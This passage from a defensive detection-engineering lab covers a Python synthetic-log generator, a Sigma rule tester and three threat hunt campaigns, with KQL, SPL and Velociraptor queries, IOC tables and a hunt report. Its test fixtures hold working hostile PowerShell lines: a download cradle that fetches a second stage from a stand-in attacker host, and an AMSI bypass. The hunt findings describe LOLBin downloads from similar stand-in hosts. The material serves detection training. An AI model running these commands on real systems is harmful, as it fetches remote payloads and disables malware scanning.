commandline="powershell.exe -EncodedCommand SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQA (SYNTHETIC)",
parent_image="C:\\Windows\\explorer.exe",
user="cybervault\\jdoe",
hostname="WS-ENG-017.cybervault.example.com",
minutes_offset=5
))
# Download cradle
events.append(self.generate_sysmon_event_1(
image="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
commandline="powershell.exe -exec bypass IEX(New-Object Net.WebClient).DownloadString('http://update.synviper.example.com/stage2') (SYNTHETIC)",
parent_image="C:\\Windows\\System32\\cmd.exe",
user="cybervault\\jdoe",
hostname="WS-ENG-017.cybervault.example.com",
minutes_offset=10
))
# AMSI bypass
events.append(self.generate_sysmon_event_1(
image="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
commandline="powershell.exe [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiContext','NonPublic,Static').SetValue($null,$true) (SYNTHETIC)",
parent_image="C:\\Windows\\System32\\cmd.exe",
user="cybervault\\jdoe",
hostname="WS-ENG-017.cybervault.example.com",
minutes_offset=15
))
return events
def generate_benign_powershell(self):
"""Generate synthetic benign PowerShell events (should NOT match Sigma rule)."""
events = []
# Windows Update
events.append(self.generate_sysmon_event_1(
image="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
commandline="powershell.exe Get-WindowsUpdate -Install -AcceptAll",
parent_image="C:\\Windows\\CCM\\ccmexec.exe",
user="NT AUTHORITY\\SYSTEM",
hostname="WS-HR-003.cybervault.example.com",
minutes_offset=20
))
# Simple Get-Process
events.append(self.generate_sysmon_event_1(
image="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
commandline="powershell.exe Get-Process | Sort-Object CPU -Descending | Select-Object -First 10",
parent_image="C:\\Windows\\explorer.exe",
user="cybervault\\soc_analyst",
hostname="DC01.cybervault.example.com",
minutes_offset=25
))
return events
class SigmaRuleTester:
"""Test Sigma rule logic against synthetic log events."""
def __init__(self):
self.results = []
def test_powershell_rule(self, event):
"""
Manually implement Sigma rule logic for testing.
In production, use sigma-cli or SIEM to evaluate.
"""
image = event.get("Image", "").lower()
cmdline = event.get("CommandLine", "").lower()
parent = event.get("ParentImage", "").lower()
# Check if PowerShell binary
if not ("powershell.exe" in image or "pwsh.exe" in image):
return False
# Check for suspicious indicators
suspicious = False
indicators = []
# Encoded commands
encoded_terms = ["-encodedcommand", "-enc ", "-ec ", "frombase64string"]
if any(term in cmdline for term in encoded_terms):
suspicious = True
indicators.append("encoded_command")
# Download cradles
download_terms = ["downloadstring", "downloadfile", "invoke-webrequest",
"net.webclient"]
if any(term in cmdline for term in download_terms):
suspicious = True
indicators.append("download_cradle")
# AMSI bypass
amsi_terms = ["amsiutils", "amsicontext", "amsiinitfailed"]
if any(term in cmdline for term in amsi_terms):
suspicious = True
indicators.append("amsi_bypass")
# SYNTHETIC-VIPER specific
synviper_terms = ["synviper.example.com", "svconfig_"]
if any(term in cmdline for term in synviper_terms):
suspicious = True
indicators.append("synviper_specific")
# Check exclusions
if "ccmexec.exe" in parent and ("windowsupdate" in cmdline or "get-wuinstall" in cmdline):
return False
return suspicious
def run_tests(self, events, expected_results):
"""Run all test cases and report results."""
print(f"\n{'='*60}")
print(f"Sigma Rule Test Results -- {datetime.now().isoformat()}")
print(f"{'='*60}\n")
passed = 0
failed = 0
for i, (event, expected) in enumerate(zip(events, expected_results)):
actual = self.test_powershell_rule(event)
test_pass = actual == expected
status = "PASS" if test_pass else "FAIL"
if test_pass:
passed += 1
else:
failed += 1
cmdline_preview = event["CommandLine"][:80]
print(f"[{status}] Test {i+1}: expected={expected}, actual={actual}")
print(f" Command: {cmdline_preview}...")
print()
print(f"{'='*60}")
print(f"Results: {passed} passed, {failed} failed, {passed+failed} total")
print(f"{'='*60}")
# Run tests
if __name__ == '__main__':
gen = SyntheticLogGenerator()
tester = SigmaRuleTester()
malicious = gen.generate_malicious_powershell()
benign = gen.generate_benign_powershell()
all_events = malicious + benign
expected = [True, True, True, False, False] # 3 malicious, 2 benign
tester.run_tests(all_events, expected)
Step 4.7: Exercise 4 Challenge¶
Challenge: Build a Rule Tuning Feedback Loop
Design a process where Sigma rule false positives from Sentinel/Splunk are automatically tracked, and the rule is updated when the FP rate exceeds 20%. Document the process as a flowchart and write a Python script that:
- Reads alert data from a JSON file (simulating SIEM API)
- Calculates precision (TP / (TP + FP))
- If precision < 80%, generates a tuning recommendation
- Outputs a modified Sigma rule with new exclusions
This exercise reinforces the detection engineering feedback loop critical for operational maturity.
Exercise 5 -- Threat Hunt Campaigns (75 min)¶
Objective¶
Execute three complete threat hunt campaigns using hypothesis-driven methodology. Combine YARA-based file scanning with Sigma-based SIEM queries to identify SYNTHETIC-VIPER activity across CyberVault Technologies' environment. Document findings with metrics and produce actionable hunt reports.
Scenario Context¶
Hunt Campaign Overview
Campaigns:
- Campaign 1: Hunt for Living-off-the-Land Binaries (LOLBins) using Sigma rules
- Campaign 2: Hunt for packed/obfuscated binaries using YARA rules
- Campaign 3: Retroactive IOC sweep using YARA + SIEM correlation
Hunt Period: 2026-03-12 through 2026-03-26 (14 days) Authorization: CISO-signed hunt authorization (SYNTHETIC) All findings and data are 100% SYNTHETIC.
Step 5.1: Hypothesis-Driven Hunting Methodology¶
Threat Hunt Lifecycle:
┌──────────────┐ ┌──────────────┐ ┌──────────────┐
│ HYPOTHESIS │────>│ COLLECT │────>│ ANALYZE │
│ Formation │ │ Data │ │ Results │
└──────────────┘ └──────────────┘ └──────────────┘
│ │
│ v
┌──────────────┐ ┌──────────────┐ ┌──────────────┐
│ IMPROVE │<────│ REPORT │<────│ FINDINGS │
│ Detections │ │ & Metrics │ │ Triage │
└──────────────┘ └──────────────┘ └──────────────┘
Hunt documentation template:
| Field | Description |
|---|---|
| Hunt ID | Unique identifier (e.g., HUNT-2026-003) |
| Hypothesis | What we expect to find and why |
| Data Sources | Logs, telemetry, and artifacts queried |
| Techniques | YARA rules, Sigma rules, queries used |
| Time Window | Start and end dates |
| Findings | What was discovered |
| True Positives | Confirmed malicious activity |
| False Positives | Benign activity matching rules |
| New Detections | Rules created from hunt findings |
| Metrics | Hunt-to-detection ratio, coverage gaps |
Step 5.2: Campaign 1 -- LOLBin Hunt with Sigma¶
Hunt Hypothesis
HUNT-2026-003: Living-off-the-Land Binary Abuse
Hypothesis: If SYNTHETIC-VIPER has established persistence, they will use LOLBins (certutil, mshta, rundll32, bitsadmin, regsvr32) to download additional payloads and execute commands while evading traditional signature-based detection.
MITRE ATT&CK: T1218 (System Binary Proxy Execution), T1105 (Ingress Tool Transfer), T1059 (Command and Scripting Interpreter)
Step 1: Baseline LOLBin Usage
// HUNT-2026-003: Baseline LOLBin usage across the environment
// Establish what "normal" looks like before hunting for anomalies
let LOLBins = dynamic([
"certutil.exe", "mshta.exe", "rundll32.exe",
"regsvr32.exe", "bitsadmin.exe", "cscript.exe",
"wscript.exe", "msbuild.exe", "installutil.exe",
"cmstp.exe", "odbcconf.exe", "ieexec.exe"
]);
DeviceProcessEvents
| where TimeGenerated > ago(14d)
| where FileName in~ (LOLBins)
| summarize
TotalExecutions = count(),
UniqueHosts = dcount(DeviceName),
UniqueUsers = dcount(AccountName),
FirstSeen = min(TimeGenerated),
LastSeen = max(TimeGenerated),
SampleCmdLines = make_set(ProcessCommandLine, 5)
by FileName
| order by TotalExecutions desc
// HUNT-2026-003: Baseline LOLBin usage
index=sysmon sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational"
EventCode=1
(Image="*\\certutil.exe" OR Image="*\\mshta.exe" OR
Image="*\\rundll32.exe" OR Image="*\\regsvr32.exe" OR
Image="*\\bitsadmin.exe" OR Image="*\\cscript.exe" OR
Image="*\\wscript.exe" OR Image="*\\msbuild.exe" OR
Image="*\\installutil.exe" OR Image="*\\cmstp.exe")
earliest=-14d
| stats count as TotalExecutions,
dc(ComputerName) as UniqueHosts,
dc(User) as UniqueUsers,
min(_time) as FirstSeen,
max(_time) as LastSeen,
values(CommandLine) as SampleCmdLines
by Image
| sort -TotalExecutions
| fieldformat FirstSeen=strftime(FirstSeen, "%Y-%m-%d %H:%M:%S")
| fieldformat LastSeen=strftime(LastSeen, "%Y-%m-%d %H:%M:%S")
Synthetic baseline results:
| LOLBin | Total Executions | Unique Hosts | Normal Context |
|---|---|---|---|
| rundll32.exe | 12,450 | 342 | Shell extension loading, DLL registration |
| certutil.exe | 890 | 45 | Certificate operations, CRL checks |
| cscript.exe | 234 | 12 | Login scripts, GPO scripts |
| bitsadmin.exe | 156 | 8 | WSUS updates, SCCM transfers |
| mshta.exe | 23 | 3 | Legitimate HTA applications |
| regsvr32.exe | 1,200 | 180 | DLL registration during software install |
Step 2: Hunt for Anomalous LOLBin Usage
// HUNT-2026-003: Anomalous LOLBin activity (SYNTHETIC findings)
// certutil downloading files
let CertutilDownload = DeviceProcessEvents
| where TimeGenerated > ago(14d)
| where FileName =~ "certutil.exe"
| where ProcessCommandLine has_any ("urlcache", "-f", "http://", "https://")
| project TimeGenerated, DeviceName, AccountName, ProcessCommandLine,
InitiatingProcessFileName;
// mshta executing remote content
let MshtaRemote = DeviceProcessEvents
| where TimeGenerated > ago(14d)
| where FileName =~ "mshta.exe"
| where ProcessCommandLine has_any ("http://", "https://", "javascript:", "vbscript:")
| project TimeGenerated, DeviceName, AccountName, ProcessCommandLine,
InitiatingProcessFileName;
// bitsadmin creating transfers to unusual destinations
let BitsadminTransfer = DeviceProcessEvents
| where TimeGenerated > ago(14d)
| where FileName =~ "bitsadmin.exe"
| where ProcessCommandLine has "/transfer"
| where ProcessCommandLine has_any ("http://", "https://")
| project TimeGenerated, DeviceName, AccountName, ProcessCommandLine,
InitiatingProcessFileName;
// regsvr32 Squiblydoo (loading remote SCT)
let Regsvr32Remote = DeviceProcessEvents
| where TimeGenerated > ago(14d)
| where FileName =~ "regsvr32.exe"
| where ProcessCommandLine has_any ("/i:http", "/i:https", "scrobj.dll")
| project TimeGenerated, DeviceName, AccountName, ProcessCommandLine,
InitiatingProcessFileName;
// Combine all findings
CertutilDownload
| union MshtaRemote, BitsadminTransfer, Regsvr32Remote
| extend LOLBin = extract(@"\\([^\\]+)$", 1, ProcessCommandLine)
| sort by TimeGenerated desc
// HUNT-2026-003: Anomalous LOLBin activity
index=sysmon sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational"
EventCode=1 earliest=-14d
| where (
// certutil download
(match(Image, "(?i)\\\\certutil\.exe$") AND
match(CommandLine, "(?i)(urlcache.*-f|https?://)")) OR
// mshta remote execution
(match(Image, "(?i)\\\\mshta\.exe$") AND
match(CommandLine, "(?i)(https?://|javascript:|vbscript:)")) OR
// bitsadmin transfer
(match(Image, "(?i)\\\\bitsadmin\.exe$") AND
match(CommandLine, "(?i)/transfer.*https?://")) OR
// regsvr32 squiblydoo
(match(Image, "(?i)\\\\regsvr32\.exe$") AND
match(CommandLine, "(?i)(/i:https?://|scrobj\.dll)"))
)
| eval LOLBin=case(
match(Image, "(?i)certutil"), "certutil.exe",
match(Image, "(?i)mshta"), "mshta.exe",
match(Image, "(?i)bitsadmin"), "bitsadmin.exe",
match(Image, "(?i)regsvr32"), "regsvr32.exe",
1==1, "other"
)
| table _time, ComputerName, User, LOLBin, Image, CommandLine, ParentImage
| sort -_time
Synthetic hunt findings (SYNTHETIC-VIPER activity discovered):
| # | Timestamp | Host | LOLBin | Finding |
|---|---|---|---|---|
| 1 | 2026-03-14 08:15 | WS-ENG-017 | certutil.exe | Downloaded payload from http://update.synviper.example.com/stage2.bin using -urlcache -split -f |
| 2 | 2026-03-14 08:22 | WS-ENG-017 | mshta.exe | Executed HTA from http://dl.synviper.example.com/launcher.hta |
| 3 | 2026-03-14 09:05 | WS-ENG-017 | bitsadmin.exe | Created transfer job downloading http://cdn.synviper.example.com/tools.zip |
| 4 | 2026-03-16 14:30 | WEB01 | certutil.exe | Decoded base64 payload: certutil -decode encoded.txt payload.exe |
| 5 | 2026-03-18 02:15 | WS-HR-003 | rundll32.exe | Loaded suspicious DLL: rundll32.exe C:\ProgramData\update.dll,DllMain |
Step 5.3: Campaign 2 -- Packed Binary Hunt with YARA¶
Hunt Hypothesis
HUNT-2026-004: Packed and Obfuscated Binaries
Hypothesis: If SYNTHETIC-VIPER deployed custom tools on compromised endpoints, those tools will exhibit packing/obfuscation characteristics detectable via YARA entropy analysis and PE structure anomalies.
MITRE ATT&CK: T1027 (Obfuscated Files or Information), T1027.002 (Software Packing)
Step 1: Deploy YARA scan via Velociraptor
-- Velociraptor VQL: Hunt for packed binaries
-- Scans all .exe and .dll files in user-writable directories
-- All data is SYNTHETIC
SELECT OSPath, Size, Mtime,
hash(path=OSPath, hashselect="SHA256") AS SHA256,
Rule, Tags,
String.Name AS MatchString,
String.Offset AS MatchOffset
FROM foreach(
row={
SELECT OSPath, Size, Mtime
FROM glob(globs=[
"C:/Users/*/AppData/Local/Temp/**/*.exe",
"C:/Users/*/AppData/Local/Temp/**/*.dll",
"C:/Users/*/Downloads/**/*.exe",
"C:/ProgramData/**/*.exe",
"C:/ProgramData/**/*.dll",
"C:/Windows/Temp/**/*.exe",
"C:/Users/Public/**/*.exe",
"C:/Perflogs/**/*.exe"
])
WHERE NOT IsDir AND Size > 10240 AND Size < 10485760
},
query={
SELECT OSPath, Size, Mtime, Rule, Tags,
String.Name, String.Offset
FROM yara(
rules=read_file(filename="yara-rules/synviper_campaign.yar"),
files=OSPath,
number=20
)
}
)
Synthetic hunt findings:
| # | Host | Path | Rule Matched | SHA256 (SYNTHETIC) | Size |
|---|---|---|---|---|---|
| 1 | WS-ENG-017 | C:\Users\jdoe\AppData\Local\Temp\svchost_update.exe | SYNVIPER_Dropper_Stage1 | SYNTHETIC_SHA256_aabb...1234 | 245 KB |
| 2 | WS-ENG-017 | C:\ProgramData\Microsoft\update.dll | SYNVIPER_CobaltStrike_Beacon | SYNTHETIC_SHA256_ccdd...5678 | 312 KB |
| 3 | WS-ENG-017 | C:\Users\jdoe\AppData\Local\Temp\svhost.exe | HighEntropy_Executable | SYNTHETIC_SHA256_eeff...9012 | 1.2 MB |
| 4 | WEB02 | C:\inetpub\wwwroot\uploads\shell.php | SYNVIPER_PHPWebshell | SYNTHETIC_SHA256_1122...3456 | 8.5 KB |
| 5 | WS-HR-003 | C:\ProgramData\temp\miner.exe | SYNVIPER_Cryptominer | SYNTHETIC_SHA256_3344...7890 | 4.8 MB |
Step 2: Correlate YARA findings with SIEM data
// HUNT-2026-004: Correlate YARA-detected files with process execution
// Find all processes that executed from YARA-matched file paths (SYNTHETIC)
let YARAHits = datatable(FilePath:string, RuleMatched:string) [
"C:\\Users\\jdoe\\AppData\\Local\\Temp\\svchost_update.exe", "SYNVIPER_Dropper_Stage1",
"C:\\ProgramData\\Microsoft\\update.dll", "SYNVIPER_CobaltStrike_Beacon",
"C:\\Users\\jdoe\\AppData\\Local\\Temp\\svhost.exe", "HighEntropy_Executable",
"C:\\ProgramData\\temp\\miner.exe", "SYNVIPER_Cryptominer"
];
DeviceProcessEvents
| where TimeGenerated > ago(14d)
| join kind=inner YARAHits on $left.FolderPath == $right.FilePath
| project TimeGenerated, DeviceName, AccountName, FileName,
FolderPath, ProcessCommandLine, RuleMatched,
InitiatingProcessFileName, InitiatingProcessCommandLine
| sort by TimeGenerated asc
// Also check: did the YARA-matched file make network connections?
DeviceNetworkEvents
| where TimeGenerated > ago(14d)
| where InitiatingProcessFolderPath in~ (
"C:\\Users\\jdoe\\AppData\\Local\\Temp\\svchost_update.exe",
"C:\\ProgramData\\Microsoft\\update.dll",
"C:\\ProgramData\\temp\\miner.exe"
)
| project TimeGenerated, DeviceName, InitiatingProcessFileName,
RemoteIP, RemotePort, RemoteUrl
| sort by TimeGenerated asc
// HUNT-2026-004: Correlate YARA-detected files with process execution
index=sysmon sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational"
EventCode=1 earliest=-14d
| where (
Image="C:\\Users\\jdoe\\AppData\\Local\\Temp\\svchost_update.exe" OR
Image="C:\\ProgramData\\Microsoft\\update.dll" OR
Image="C:\\Users\\jdoe\\AppData\\Local\\Temp\\svhost.exe" OR
Image="C:\\ProgramData\\temp\\miner.exe"
)
| eval RuleMatched=case(
match(Image, "svchost_update"), "SYNVIPER_Dropper_Stage1",
match(Image, "update\\.dll"), "SYNVIPER_CobaltStrike_Beacon",
match(Image, "svhost\\.exe"), "HighEntropy_Executable",
match(Image, "miner\\.exe"), "SYNVIPER_Cryptominer"
)
| table _time, ComputerName, User, Image, CommandLine, ParentImage,
RuleMatched
| sort _time
// Network connections from YARA-matched processes
index=sysmon sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational"
EventCode=3 earliest=-14d
| where (
Image="*\\svchost_update.exe" OR
Image="*\\update.dll" OR
Image="*\\miner.exe"
)
| table _time, ComputerName, Image, DestinationIp, DestinationPort,
DestinationHostname
| sort _time
Step 5.4: Campaign 3 -- Retroactive IOC Sweep¶
Hunt Hypothesis
HUNT-2026-005: Retroactive IOC Sweep
Hypothesis: Updated threat intelligence from partner organizations provides new IOCs (IPs, domains, file hashes) related to SYNTHETIC-VIPER. A retroactive sweep of historical logs may reveal previously undetected compromise indicators.
MITRE ATT&CK: TA0043 (Reconnaissance), TA0011 (Command and Control)
New IOCs (all SYNTHETIC):
| Type | Value | Context |
|---|---|---|
| IPv4 | 203.0.113.42 | C2 server (SYNTHETIC) |
| IPv4 | 198.51.100.88 | Staging server (SYNTHETIC) |
| IPv4 | 192.0.2.199 | Exfiltration endpoint (SYNTHETIC) |
| Domain | c2.synviper.example.com | Primary C2 (SYNTHETIC) |
| Domain | dl.synviper.example.com | Payload delivery (SYNTHETIC) |
| Domain | exfil.synviper.example.com | Data exfiltration (SYNTHETIC) |
| SHA256 | SYNTHETIC_SHA256_aabb...1234 | Dropper stage 1 (SYNTHETIC) |
| SHA256 | SYNTHETIC_SHA256_ccdd...5678 | CS beacon (SYNTHETIC) |
| SHA256 | SYNTHETIC_SHA256_eeff...9012 | Packed loader (SYNTHETIC) |
| User-Agent | SynViper/2.1 | Custom C2 agent (SYNTHETIC) |
Step 1: Network IOC sweep
// HUNT-2026-005: Retroactive IOC sweep -- Network indicators
// Search all network logs for SYNTHETIC-VIPER C2 infrastructure
let IOC_IPs = dynamic([
"203.0.113.42", "198.51.100.88", "192.0.2.199"
]);
let IOC_Domains = dynamic([
"c2.synviper.example.com",
"dl.synviper.example.com",
"exfil.synviper.example.com",
"update.synviper.example.com",
"cdn.synviper.example.com",
"api.synviper.example.com",
"shell.synviper.example.com",
"pool.synmine.example.com"
]);
// Check network connections
let NetworkHits = DeviceNetworkEvents
| where TimeGenerated > ago(14d)
| where RemoteIP in (IOC_IPs) or RemoteUrl has_any (IOC_Domains)
| project TimeGenerated, DeviceName, InitiatingProcessFileName,
RemoteIP, RemotePort, RemoteUrl, Type="Network";
// Check DNS queries
let DNSHits = DnsEvents
| where TimeGenerated > ago(14d)
| where Name has_any (IOC_Domains)
| project TimeGenerated, Computer as DeviceName,
Name as RemoteUrl, IPAddresses as RemoteIP,
QueryType as RemotePort,
"DNS" as InitiatingProcessFileName, Type="DNS";
// Check proxy logs
let ProxyHits = CommonSecurityLog
| where TimeGenerated > ago(14d)
| where DestinationHostName has_any (IOC_Domains)
or DestinationIP in (IOC_IPs)
| project TimeGenerated, DeviceName=SourceHostName,
InitiatingProcessFileName="Proxy",
RemoteIP=DestinationIP, RemotePort=DestinationPort,
RemoteUrl=RequestURL, Type="Proxy";
// Combine all network IOC hits
NetworkHits
| union DNSHits, ProxyHits
| sort by TimeGenerated asc
| summarize
HitCount = count(),
FirstSeen = min(TimeGenerated),
LastSeen = max(TimeGenerated),
AffectedHosts = make_set(DeviceName),
Processes = make_set(InitiatingProcessFileName)
by RemoteIP, RemoteUrl, Type
// HUNT-2026-005: Retroactive IOC sweep -- Network indicators
// Search across all network log sources for SYNTHETIC-VIPER IOCs
// Firewall / network flow logs
(index=firewall OR index=netflow OR index=proxy OR index=dns)
earliest=-14d
| eval dest_combined=coalesce(dest_ip, DestinationIP, dest, answer)
| eval domain_combined=coalesce(query, dest_host, DestinationHostName, url)
| where (
dest_combined IN ("203.0.113.42", "198.51.100.88", "192.0.2.199") OR
match(domain_combined, "(?i)(c2|dl|exfil|update|cdn|api|shell)\.synviper\.example\.com") OR
match(domain_combined, "(?i)pool\.synmine\.example\.com")
)
| eval IOC_Type=case(
dest_combined IN ("203.0.113.42", "198.51.100.88", "192.0.2.199"), "IP_Match",
match(domain_combined, "synviper"), "Domain_Match",
match(domain_combined, "synmine"), "Mining_Pool",
1==1, "Other"
)
| stats count as HitCount,
min(_time) as FirstSeen,
max(_time) as LastSeen,
dc(src_ip) as UniqueSourceHosts,
values(src_ip) as SourceHosts,
values(sourcetype) as LogSources
by dest_combined, domain_combined, IOC_Type
| sort -HitCount
| fieldformat FirstSeen=strftime(FirstSeen, "%Y-%m-%d %H:%M:%S")
| fieldformat LastSeen=strftime(LastSeen, "%Y-%m-%d %H:%M:%S")
Step 2: File hash IOC sweep
// HUNT-2026-005: File hash IOC sweep
let IOC_Hashes = dynamic([
"SYNTHETIC_SHA256_aabb1234",
"SYNTHETIC_SHA256_ccdd5678",
"SYNTHETIC_SHA256_eeff9012"
]);
DeviceFileEvents
| where TimeGenerated > ago(14d)
| where SHA256 in (IOC_Hashes)
| project TimeGenerated, DeviceName, FileName, FolderPath,
SHA256, FileSize, ActionType, InitiatingProcessFileName
| sort by TimeGenerated asc
// HUNT-2026-005: File hash IOC sweep
index=sysmon sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational"
(EventCode=1 OR EventCode=6 OR EventCode=7 OR EventCode=11 OR EventCode=15)
earliest=-14d
| where (
SHA256="SYNTHETIC_SHA256_aabb1234" OR
SHA256="SYNTHETIC_SHA256_ccdd5678" OR
SHA256="SYNTHETIC_SHA256_eeff9012"
)
| table _time, ComputerName, EventCode, Image, TargetFilename,
SHA256, User
| sort _time
Synthetic IOC sweep results:
| IOC | Type | Hits | First Seen | Last Seen | Affected Hosts |
|---|---|---|---|---|---|
| 203.0.113.42 | IP (C2) | 847 | 2026-03-14 08:20 | 2026-03-25 23:55 | WS-ENG-017, WS-HR-003 |
| 198.51.100.88 | IP (Staging) | 12 | 2026-03-14 08:15 | 2026-03-14 08:25 | WS-ENG-017 |
| c2.synviper.example.com | Domain (C2) | 1,234 | 2026-03-14 08:22 | 2026-03-26 00:05 | WS-ENG-017, WS-HR-003, WEB01 |
| dl.synviper.example.com | Domain (Delivery) | 6 | 2026-03-14 08:14 | 2026-03-14 08:22 | WS-ENG-017 |
| pool.synmine.example.com | Domain (Mining) | 45,678 | 2026-03-16 02:00 | 2026-03-26 00:00 | WS-HR-003 |
| SYNTHETIC_SHA256_aabb1234 | Hash (Dropper) | 1 | 2026-03-14 08:18 | - | WS-ENG-017 |
| SYNTHETIC_SHA256_ccdd5678 | Hash (Beacon) | 1 | 2026-03-14 08:30 | - | WS-ENG-017 |
Step 5.5: Hunt Report Documentation¶
# Threat Hunt Report: SYNTHETIC-VIPER Campaign
## Executive Summary
| Field | Value |
|-------|-------|
| Hunt ID | HUNT-2026-003/004/005 (Combined) |
| Hunt Period | 2026-03-12 through 2026-03-26 |
| Hypothesis | SYNTHETIC-VIPER has compromised CyberVault Technologies |
| Result | CONFIRMED -- active compromise on 3 endpoints |
| Severity | CRITICAL |
| Authorization | CISO-signed (SYNTHETIC) |
## Findings Summary
| Campaign | Technique | Findings | True Positives | False Positives |
|----------|-----------|----------|----------------|-----------------|
| LOLBin Hunt | T1218 | 5 anomalous LOLBin executions | 5 | 0 |
| Packed Binary | T1027.002 | 5 YARA-matched files | 5 | 0 |
| IOC Sweep | TA0011 | 47,778 network IOC hits | 47,778 | 0 |
## Timeline of Compromise (SYNTHETIC)
| Date/Time | Event | Host | MITRE |
|-----------|-------|------|-------|
| 2026-03-14 08:10 | Spear-phishing email received | WS-ENG-017 | T1566.001 |
| 2026-03-14 08:14 | Macro executed, dropper downloaded | WS-ENG-017 | T1204.002 |
| 2026-03-14 08:18 | Stage 1 dropper executed | WS-ENG-017 | T1059.001 |
| 2026-03-14 08:22 | C2 beacon established | WS-ENG-017 | T1071.001 |
| 2026-03-14 08:30 | Cobalt Strike beacon deployed | WS-ENG-017 | T1055 |
| 2026-03-14 09:05 | LOLBin (bitsadmin) tools download | WS-ENG-017 | T1105 |
| 2026-03-15 14:00 | Credential dumping (LSASS) | WS-ENG-017 | T1003.001 |
| 2026-03-16 02:00 | Cryptominer deployed | WS-HR-003 | T1496 |
| 2026-03-16 14:30 | Webshell deployed | WEB02 | T1505.003 |
| 2026-03-18 02:15 | Lateral movement to HR | WS-HR-003 | T1021.002 |
| 2026-03-20 10:00 | Data staging and compression | WS-HR-003 | T1074.001 |
| 2026-03-22 03:00 | Data exfiltration attempt | WS-HR-003 | T1041 |
## Hunt Metrics
| Metric | Value |
|--------|-------|
| Total queries executed | 24 |
| Total YARA rules deployed | 8 |
| Total Sigma rules deployed | 7 |
| Endpoints scanned (YARA) | 342 |
| Log sources queried | 9 |
| Total true positives | 15 unique findings |
| Total false positives | 3 (tuned out) |
| Hunt-to-detection ratio | 5:1 (5 new detection rules per hunt) |
| Time to first finding | 2.5 hours |
| New detection rules created | 12 (8 YARA + 4 Sigma) |
| Coverage gaps identified | 3 (Linux endpoint visibility, encrypted traffic, cloud workloads) |
## Recommendations
1. **Immediate**: Isolate WS-ENG-017, WS-HR-003, WEB02; begin IR playbook
2. **Short-term**: Deploy all 12 new detection rules to production SIEM
3. **Medium-term**: Implement application whitelisting to block LOLBin abuse
4. **Long-term**: Deploy EDR on all Linux servers (coverage gap)
Step 5.6: Exercise 5 Challenge¶
Challenge: Design a Recurring Hunt Program
Design a quarterly threat hunting program for CyberVault Technologies that includes:
- A hunt calendar with 4 quarterly themes aligned to top threat actor TTPs
- YARA and Sigma rule update schedule (monthly)
- Metrics dashboard tracking hunt-to-detection ratio, coverage, and time-to-detect
- Integration with threat intelligence feeds for automated IOC sweeps
- A maturity model (Level 1-5) for the hunt program
Document your design as a structured proposal that could be presented to the CISO.
Consolidated Detection Queries¶
YARA Rule Index¶
| Rule Name | Target | Exercise | Key Technique |
|---|---|---|---|
| SYNVIPER_Dropper_Stage1 | First-stage dropper PE | Ex. 1 | T1566.001 |
| SYNVIPER_MacroDoc | Macro-laden Office document | Ex. 1 | T1204.002 |
| SYNVIPER_PackedDropper | UPX-packed binary | Ex. 2 | T1027.002 |
| SYNVIPER_SuspiciousImports | PE with injection/theft APIs | Ex. 2 | T1055 |
| HighEntropy_Executable | Abnormally high entropy PE | Ex. 2 | T1027.002 |
| HighEntropy_Section | PE with high-entropy section | Ex. 2 | T1027.002 |
| SYNVIPER_Cryptominer | XMRig-based miner | Ex. 2 | T1496 |
| SYNVIPER_PHPWebshell | PHP webshell variants | Ex. 2 | T1505.003 |
| SYNVIPER_CobaltStrike_Beacon | Cobalt Strike beacon | Ex. 2 | T1071.001 |
| SYNVIPER_DotNet_Packed | Packed .NET assembly | Ex. 2 | T1027.002 |
Sigma Rule Index¶
| Rule Title | Target | Exercise | Key Technique |
|---|---|---|---|
| Suspicious PowerShell Execution | Encoded commands, download cradles | Ex. 3 | T1059.001 |
| Lateral Movement via Remote Service | PsExec, WMI, SMB execution | Ex. 3 | T1021.002 |
| Scheduled Task Persistence | schtasks.exe persistence | Ex. 3 | T1053.005 |
| Credential Dumping Activity | LSASS access, SAM extraction | Ex. 3 | T1003.001 |
| Data Staging and Compression | Archive creation, staging | Ex. 3 | T1074.001 |
| LOLBin Abuse | certutil, mshta, regsvr32 | Ex. 3 | T1218 |
| Scheduled Task Registration Event | Event 4698 monitoring | Ex. 3 | T1053.005 |
| SAM Registry Extraction | reg.exe hive save | Ex. 3 | T1003.002 |
| DCSync via Secretsdump | Impacket DCSync (Linux) | Ex. 3 | T1003.006 |
Lab Summary¶
Key Takeaways¶
What You Learned
-
YARA Rule Writing: You can now write production-grade YARA rules using text strings, hex patterns, regex, and advanced modules (PE, Math). You understand how to optimize rules for performance and minimize false positives through condition ordering, file type checks, and threshold logic.
-
Advanced YARA Techniques: You built rules targeting four distinct malware families (droppers, cryptominers, webshells, C2 beacons) using PE import analysis, entropy calculation, and multi-rule sets. You understand YARA-X migration and the future of YARA.
-
Sigma Rule Creation: You wrote five complete Sigma rules covering critical TTPs (PowerShell abuse, lateral movement, persistence, credential dumping, data staging). You learned to convert rules to KQL and SPL using sigma-cli and deploy them to production SIEMs.
-
Detection Pipeline Integration: You integrated YARA and Sigma into operational workflows -- Velociraptor for enterprise YARA scanning, KAPE for forensic collections, CI/CD pipelines for rule lifecycle management, and automated testing with synthetic logs.
-
Threat Hunt Campaigns: You executed three hypothesis-driven hunts (LOLBin abuse, packed binaries, IOC sweep) that demonstrated the power of combining YARA file scanning with Sigma-based SIEM queries. You documented findings with metrics and produced an actionable hunt report.
MITRE ATT&CK Coverage¶
| Technique ID | Technique Name | Exercise | Detection Method |
|---|---|---|---|
| T1566.001 | Spear-phishing Attachment | Ex. 1, 5 | YARA (maldoc), Sigma (process creation) |
| T1204.002 | User Execution: Malicious File | Ex. 1, 5 | YARA (dropper), Sigma (process creation) |
| T1059.001 | PowerShell | Ex. 3, 5 | Sigma (encoded commands, download cradles) |
| T1027 | Obfuscated Files or Information | Ex. 2 | YARA (entropy, imports) |
| T1027.002 | Software Packing | Ex. 2, 5 | YARA (UPX, entropy, PE anomalies) |
| T1055 | Process Injection | Ex. 2 | YARA (suspicious imports) |
